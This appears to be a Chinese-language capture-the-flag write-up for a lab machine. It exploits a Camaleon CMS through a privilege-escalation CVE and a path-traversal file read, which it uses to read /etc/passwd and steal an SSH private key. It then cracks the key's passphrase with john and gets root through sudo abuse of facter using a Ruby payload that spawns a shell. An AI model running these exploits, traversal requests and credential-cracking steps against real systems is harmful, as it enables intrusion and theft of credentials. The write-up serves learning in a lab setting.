本文最后更新于 2026-04-07T23:55:50+08:00
USER FLAG
nmap 扫一下靶机的端口服务(可以加-p-选项扫全端口,不过太慢了)
22 端口的 SSH 服务,还有 80 端口的 Web 服务

先看 80 端口的 Web 服务,nmap扫的显示不能重定向,设置一下/etc/hosts文件,加入以下内容

然后就可以浏览器访问了

信息搜集一下,可以找到存在后台登录,访问/admin即可(dirsearch居然没扫出来,没招了),会自动跳转到http://facts.htb/admin/login

注册一个账号登录

成功登录,并且可以发现是个 Camaleon CMS

然后就是去找历史漏洞和POC,先是找到了一个权限提升的漏洞:CVE-2025-2304
就是对注册的已有的账户提升为admin权限
1
| python 1.py -u http://facts.htb/ -U 1 -P 1
|

但是发现不能登录上去了,只能再注册一个账号
然后又找到一个CVE:CVE-2024-46987
可以实现任意文件读取的
1
| python CVE-2024-46987.py -u http://facts.htb/ -l 2 -p 2 /etc/passwd
|
验证发现没有问题,确实存在漏洞,还可以发现有trivia和william用户

或者直接访问:
1
| http://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd
|
bp抓包
1 2 3 4 5
| GET /admin/media/download_private_file?file=../../../../../../etc/passwd HTTP/1.1 Host: facts.htb Cookie: auth_token=KTUeCgTawDVV5ksfLeIUDQ&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F141.0.0.0+Safari%2F537.36&10.10.16.44; _factsapp_session=sQFY3DfWYY%2F1hCo4R7Yc2GrgHLISg5WFF6uEFzmJKr1xuoKHIZSumFtZw2Di35P7WcXgCKwkkDaZY7eLR7ftx7O657%2ByZtfdyfhCTXASxGiquIrWrNLUw97otvOq%2FjLf95LyB%2BTni5r%2B5b%2Fkbs%2BIHNuvBIRDMdK3bNJPxyAccw33kNonsNeZ1PNej0i%2FIqCSgbaDjE69Y1qw5TXQ2VGXjZAclavfjEGX8vKRaJri0wJHoDyYS0KK%2B%2FGpHfQXYXbRX384JCqfIIOixfGGD9KXYjrMNZjbFDli3hElkUb5N59YCsl4yz3eNgnTEUBdM2vK1AX7lyA%3D--KxRLx03NY2wjr6iu--aNFNoh%2Bu5W8TrnrsByihAQ%3D%3D
|

尝试利用私钥登录用户,文章:https://blog.csdn.net/jueshijindai/article/details/156168252
上网搜一下私钥文件名,文件一般是放在用户目录下的.ssh目录中

最终可以执行下面这个命令获取到trivia用户的私钥,至于另一个用户william的私钥没找到
1
| python CVE-2024-46987.py -u http://facts.htb/ -l 2 -p 2 /home/trivia/.ssh/id_ed25519
|

将其保存到本地的id_ed25519文件中

然后设置权限
然后运行以下命令进行登录
1
| ssh -i id_ed25519 trivia@10.129.19.105
|
但是还是要我输入密码……

使用 ssh2john 将私钥转换为可识别格式
1
| ssh2john id_ed25519 > key
|
然后使用 john 进行爆破
1
| john --wordlist=/usr/share/wordlists/rockyou.txt key
|
成功爆破出 key 是:dragonballz

然后去登录
1
| ssh -i id_ed25519 trivia@10.129.19.105
|
成功登录

可以在william用户目录下找到 USER FLAG

1
| 783f3a780d8397e528da0c7af5827b25
|
ROOT FLAG
发现可以利用 sudo 权限滥用进行提权
可以无密码以root权限使用/usr/bin/facter命令

1 2 3 4 5 6 7 8 9 10 11
| mkdir -p /tmp/rfacts
cat > /tmp/rfacts/evil.rb << 'EOF' Facter.add('evil') do setcode do system('/bin/bash') end end EOF
sudo /usr/bin/facter --custom-dir /tmp/rfacts evil
|
成功提权

读 ROOT FLAG

1
| beb1f7fa70a2d6bea7b42ce9f5dcec13
|
总结
- 利用 CVE-2024-46987 获取 SSH 私钥登录服务器
- sudo 权限滥用,利用 facter 进行提权